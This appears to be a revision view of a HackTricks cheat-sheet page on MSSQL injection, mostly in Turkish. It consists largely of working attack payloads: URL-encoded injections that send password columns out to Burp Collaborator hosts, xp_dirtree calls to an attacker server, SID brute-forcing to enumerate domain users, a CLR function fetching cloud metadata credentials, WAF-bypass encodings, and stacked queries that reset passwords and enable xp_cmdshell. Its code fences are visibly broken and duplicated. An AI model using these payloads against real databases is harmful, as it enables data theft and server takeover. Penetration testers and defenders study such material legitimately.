hacktricks/pentesting-web/sql-injection/mssql-injection.md

289 lines
15 KiB
Markdown
Raw Normal View History

# MSSQL Injection
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-01-01 17:15:10 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Active Directory enumeration
2020-09-20 21:14:26 +00:00
**MSSQL** sunucusu içinde SQL injection aracılığıyla **alan kullanıcılarını listelemek** mümkün olabilir, aşağıdaki MSSQL fonksiyonlarını kullanarak:
2020-09-20 21:14:26 +00:00
* **`SELECT DEFAULT_DOMAIN()`**: Mevcut alan adını alır.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Alan adının adını biliyorsanız (_DOMAIN_ bu örnekte) bu fonksiyon **Administrator kullanıcısının SID'sini** hex formatında döndürecektir. Bu, `0x01050000000[...]0000f401` gibi görünecektir, **son 4 byte'ın** **500** sayısı olduğunu not edin, bu da **administrator kullanıcısının ortak ID'sidir**.\
Bu fonksiyon, **alanın ID'sini bilmenizi** sağlayacaktır (son 4 byte hariç tüm byte'lar).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Bu fonksiyon, belirtilen **ID'nin kullanıcı adını** döndürecektir (varsa), bu durumda **0000e803** big endian == **1000** (genellikle bu, oluşturulan ilk normal kullanıcı ID'sidir). O zaman 1000'den 2000'e kadar kullanıcı ID'lerini brute-force yapabileceğinizi ve muhtemelen alan kullanıcılarının tüm kullanıcı adlarını alabileceğinizi hayal edebilirsiniz. Örneğin, aşağıdaki gibi bir fonksiyon kullanarak:
2020-09-20 21:14:26 +00:00
```python
def get_sid(n):
2024-02-10 18:14:16 +00:00
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
2020-09-20 21:14:26 +00:00
```
## **Alternatif Hata Tabanlı Vektörler**
2020-09-20 21:14:26 +00:00
Hata tabanlı SQL enjeksiyonları genellikle `+AND+1=@@version--` gibi yapıları ve «OR» operatörüne dayanan varyantları andırır. Bu tür ifadeleri içeren sorgular genellikle WAF'lar tarafından engellenir. Bir geçiş olarak, aranan verilerde bir veri türü dönüşüm hatası tetikleyen belirli fonksiyon çağrılarının sonuçlarıyla %2b karakterini kullanarak bir dize birleştirin.
2020-12-04 10:15:48 +00:00
Bu tür fonksiyonlardan bazı örnekler:
2020-12-04 10:15:48 +00:00
* `SUSER_NAME()`
* `USER_NAME()`
* `PERMISSIONS()`
* `DB_NAME()`
* `FILE_NAME()`
* `TYPE_NAME()`
* `COL_NAME()`
Fonksiyon `USER_NAME()` kullanımına örnek:
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
2022-10-09 21:13:17 +00:00
## SSRF
Bu SSRF numaraları [buradan alındı](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
2024-02-06 03:10:27 +00:00
2022-10-10 00:14:53 +00:00
### `fn_xe_file_target_read_file`
2024-02-10 18:14:16 +00:00
Sunucuda **`VIEW SERVER STATE`** izni gerektirir.
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
2022-10-10 00:14:53 +00:00
### `fn_get_audit_file`
2020-12-04 10:15:48 +00:00
**`CONTROL SERVER`** izni gerektirir.
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
2022-10-10 00:14:53 +00:00
### `fn_trace_gettabe`
2020-12-04 10:15:48 +00:00
**`CONTROL SERVER`** izni gerektirir.
```
2020-12-04 10:15:48 +00:00
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
2022-10-10 00:14:53 +00:00
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
Microsoft tarafından resmi olarak belgelenmemiş olmasına rağmen, `xp_dirtree` gibi saklı yordamlar, MSSQL içindeki ağ işlemlerindeki faydaları nedeniyle çevrimiçi olarak başkaları tarafından tanımlanmıştır. Bu yordamlar genellikle, çeşitli [örneklerde](https://www.notsosecure.com/oob-exploitation-cheatsheet/) ve [paylaşımlarda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) sergilendiği gibi, Band Dışı Veri sızdırma işlemlerinde kullanılır.
Örneğin, `xp_dirtree` saklı yordamı, ağ istekleri yapmak için kullanılır, ancak yalnızca TCP port 445 ile sınırlıdır. Port numarası değiştirilemez, ancak ağ paylaşımlarından okuma yapmaya izin verir. Kullanımı aşağıdaki SQL betiğinde gösterilmektedir:
2022-10-10 00:14:53 +00:00
```sql
DECLARE @user varchar(100);
2024-02-10 18:14:16 +00:00
SELECT @user = (SELECT user);
2024-02-06 03:10:27 +00:00
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
Bu yöntemin, varsayılan ayarlarla çalışan `Windows Server 2016 Datacenter` üzerindeki `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` gibi tüm sistem yapılandırmalarında çalışmayabileceği dikkate değerdir.
Ayrıca, benzer sonuçlar elde edebilecek `master..xp_fileexist` ve `xp_subdirs` gibi alternatif saklı prosedürler de bulunmaktadır. `xp_fileexist` hakkında daha fazla bilgiye bu [TechNet makalesinden](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) ulaşabilirsiniz.
2022-10-10 00:14:53 +00:00
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
ıkça, bir **SSRF** tetikleyen bir şeyi **çalıştırmak** için **`xp_cmdshell`** de kullanabilirsiniz. Daha fazla bilgi için sayfadaki **ilgili bölümü okuyun**:
2022-10-10 00:14:53 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### MSSQL Kullanıcı Tanımlı Fonksiyonu - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Özel işlevleri çalıştırmak için MSSQL içinde yüklenmek üzere herhangi bir .NET dilinde yazılmış ve DLL'ye derlenmiş bir CLR UDF (Common Language Runtime Kullanıcı Tanımlı Fonksiyonu) oluşturmak, `dbo` erişimi gerektiren bir süreçtir. Bu, genellikle veritabanı bağlantısının `sa` olarak veya bir Yönetici rolü ile yapılması durumunda mümkündür.
Binary'nin MSSQL'e CLR derlemesi olarak yüklenmesini kolaylaştırmak için [bu Github deposunda](https://github.com/infiniteloopltd/SQLHttp) bir Visual Studio projesi ve kurulum talimatları sağlanmıştır; böylece MSSQL içinden HTTP GET isteklerinin çalıştırılması sağlanmaktadır.
Bu işlevselliğin temeli, bir GET isteği gerçekleştirmek ve içeriği almak için `WebClient` sınıfını kullanan `http.cs` dosyasında kapsüllenmiştir; aşağıda gösterildiği gibi:
2022-10-10 00:14:53 +00:00
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
2024-02-10 18:14:16 +00:00
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
```
`CREATE ASSEMBLY` SQL komutunu çalıştırmadan önce, derlemenin SHA512 hash'ini sunucunun güvenilir derlemeler listesine eklemek için aşağıdaki SQL kodunu çalıştırmanız önerilir (görüntülemek için `select * from sys.trusted_assemblies;`):
2022-10-10 21:08:59 +00:00
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Başarıyla assembly ekledikten ve fonksiyonu oluşturduktan sonra, HTTP istekleri gerçekleştirmek için aşağıdaki SQL kodu kullanılabilir:
2022-10-10 00:14:53 +00:00
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **Hızlı Sömürü: Tek Sorguda Tüm Tablo İçeriklerini Alma**
[Buradan hile](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
2020-12-04 10:15:48 +00:00
Tek bir sorguda bir tablonun tam içeriğini çıkarmak için kullanılan özlü bir yöntem, `FOR JSON` ifadesini kullanmaktır. Bu yaklaşım, "ham" gibi belirli bir mod gerektiren `FOR XML` ifadesine göre daha kısadır. Kısalığı nedeniyle `FOR JSON` ifadesi tercih edilmektedir.
2020-12-04 10:15:48 +00:00
İşte mevcut veritabanından şemayı, tabloları ve sütunları nasıl alacağınız:
2024-02-06 03:10:27 +00:00
```sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
2020-12-04 10:15:48 +00:00
2024-02-06 03:10:27 +00:00
```sql
```markdown
2024-02-06 03:10:27 +00:00
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
2020-12-04 10:15:48 +00:00
```
2024-02-10 18:14:16 +00:00
```
2024-02-06 03:10:27 +00:00
### Retrieving the Current Query
2020-12-04 10:15:48 +00:00
2024-02-06 03:10:27 +00:00
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
2020-12-04 10:15:48 +00:00
2024-02-06 03:10:27 +00:00
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
2020-12-04 10:15:48 +00:00
2024-02-06 03:10:27 +00:00
```sql
```markdown
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
2024-02-10 18:14:16 +00:00
```
2024-02-06 03:10:27 +00:00
To check if you have the VIEW SERVER STATE permission, the following query can be used:
2020-12-04 10:15:48 +00:00
2022-10-10 21:08:59 +00:00
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
2022-10-09 21:13:17 +00:00
## **Little tricks for WAF bypasses**
2020-12-04 10:15:48 +00:00
2024-02-06 03:10:27 +00:00
[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
2022-10-10 00:14:53 +00:00
Non-standard whitespace characters: %C2%85 или %C2%A0:
2020-12-04 10:15:48 +00:00
```
```markdown
2024-02-10 18:14:16 +00:00
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
2020-12-04 10:15:48 +00:00
```
Scientific (0e) and hex (0x) notation for obfuscating UNION:
2020-12-04 10:15:48 +00:00
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
2024-02-10 18:14:16 +00:00
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
2020-12-04 10:15:48 +00:00
A period instead of a whitespace between FROM and a column name:
2024-02-10 18:14:16 +00:00
```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
\N separator between SELECT and a throwaway column:
2020-12-04 10:15:48 +00:00
```
```markdown
2024-02-10 18:14:16 +00:00
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
2020-12-04 10:15:48 +00:00
```
2022-04-28 16:01:33 +00:00
### WAF Bypass with unorthodox stacked queries
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
2024-02-06 03:10:27 +00:00
```sql
SELECT 'a' SELECT 'b'
```
2024-02-06 03:10:27 +00:00
So for example, multiple queries such as:
2024-02-10 18:14:16 +00:00
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
```
Can be reduced to:
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
```
# Gereksiz bir exec() ekleyerek WAF'ın bunun geçerli bir sorgu olmadığını düşünmesini sağlamak
admina'union select 1,'admin','testtest123'exec('select 1')--
## Bu şöyle olacak:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Garip bir şekilde oluşturulmuş sorgular kullanmak
admin'exec('update[users]set[password]=''a''')--
## Bu şöyle olacak:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Ya da xp_cmdshell'i etkinleştirmek
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Bu şöyle olacak
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```
2022-10-10 00:14:53 +00:00
## References
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
2022-10-10 00:14:53 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-01-01 17:15:10 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}